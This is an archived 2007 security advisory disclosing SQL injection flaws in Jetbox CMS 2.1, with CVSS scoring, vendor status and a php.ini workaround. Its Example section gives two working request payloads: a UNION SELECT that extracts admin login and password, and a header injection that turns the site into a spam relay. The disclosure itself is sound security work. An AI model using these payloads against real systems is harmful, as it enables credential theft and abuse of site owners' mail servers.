netVigilance Vulnerability intelligence since 2004

Archived document Original netVigilance advisory, published May 21 2007. Preserved as published — the advisory text and version numbers are unchanged; it is shown here converted from the original HTML page.

advisory0028 · CVE-2007-2685 · published 2007-05-21

Jetbox CMS version 2.1 Multiple SQL Injection Vulnerabilities

archived risk: high

Current status

This advisory describes a vulnerability from 2007. It is not in the CISA Known Exploited Vulnerabilities catalog and there is no active remediation deadline. The page is kept online because other security databases link to it.

CVE reference CVE-2007-2685
In KEV catalog no
Affected software Jetbox CMS version 2.1
Captured from netvigilance.com

Original document

Reproduced as it was published, including the advisory numbering, scoring and the disclosure timeline used at the time.

converted from html as published 2007-05-21
Description:

Jetbox CMS is seriously tested on usability & has a professional intuitive interface. The system is role based, with workflow and module orientated. All content is fully separated from layout. It uses php & mysql.

A security problem in the product allows attackers to commit SQL injection.

External References:
Mitre CVE: CVE-2007-2685
NVD NIST: CVE-2007-2685
OSVDB: 34784
BUGTRAQ/BID: 24077

Summary:
Jetbox CMS seriously tested on usability & has a professional intuitive interface.
Successful exploitation requires PHP magic_quotes_gpc set to Off on the server.

Release Date:
May 21 2007

Severity:
Risk: High

CVSS Metrics:
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: Complete
Integrity Impact: Partial
Availability Impact: Partial
Impact Bias: Confidentiality
CVSS Base Score: 6.8

Target Distribution on Internet: Low

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated

Vulnerability Impact: Attack
Host Impact: SQL Injection.

SecureScout Testcase ID:
TC 17958

Vulnerable Systems:
Jetbox CMS version 2.1

Vulnerability Type:
SQL injection allows malicious people to execute their own SQL scripts. This could be exploited to obtain sensitive data, modify database contents, sending anonymous emails to other recipients or acquire administrator's privileges.

Vendor:
Streamedge Consultancy & Development

Vendor Status:
Contact with the Vendor was established. The vendor refused to fix the issue and said that Jetbox is not maintained anymore. There is no official fix at the release of this Security Advisory.

Workaround:
In the php.ini file set magic_quotes_gpc = On.

Example:

SQL Injection Vulnerability 1:

REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/index.php?view=-1' UNION SELECT 1,CONCAT(`login`,'-',`user_password`),1,1,1,1,1,1,1,1,1,1 FROM `User` LIMIT 0,1%23

REPLY:
...<b>Warning</b>: main([SQL INJECTION RESULT - ADMIN NAME]-[SQL INJECTION RESULT - ADMIN PASSWORD]): failed to open stream: No such file or directory in <b>[SERVER PATH][PRODUCT-DIRECTORY]index.php</b> on line <b>149</b><br /> ...<b>Warning</b>: main(): Failed opening '[SQL INJECTION RESULT - ADMIN NAME]-[SQL INJECTION RESULT - ADMIN PASSWORD]' for inclusion (include_path='.;c:php4pear;./;[SERVER PATH][PRODUCT-DIRECTORY]/includes') in <b>[SERVER PATH][PRODUCT-DIRECTORY]index.php</b> on line <b>149</b><br />

SQL Injection Vulnerability 2:

REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY]/index.php?view=webuser&task=sendpw&login=-1' UNION SELECT 1,1,1,'spam1@mail.com%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0ASubject: Some Spam Subject%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A--Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide',1 FROM `user` %23

REPLY:
Spam will be send from target site

Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
Original URL: /advisory0028.html · preserved at the same address

Why this page still exists

Advisories published between 2004 and 2015 are referenced by vulnerability databases, academic papers and mailing list archives. Removing them would break those references, so every advisory keeps its original address and its original text. Nothing on this page has been rewritten to match current practice.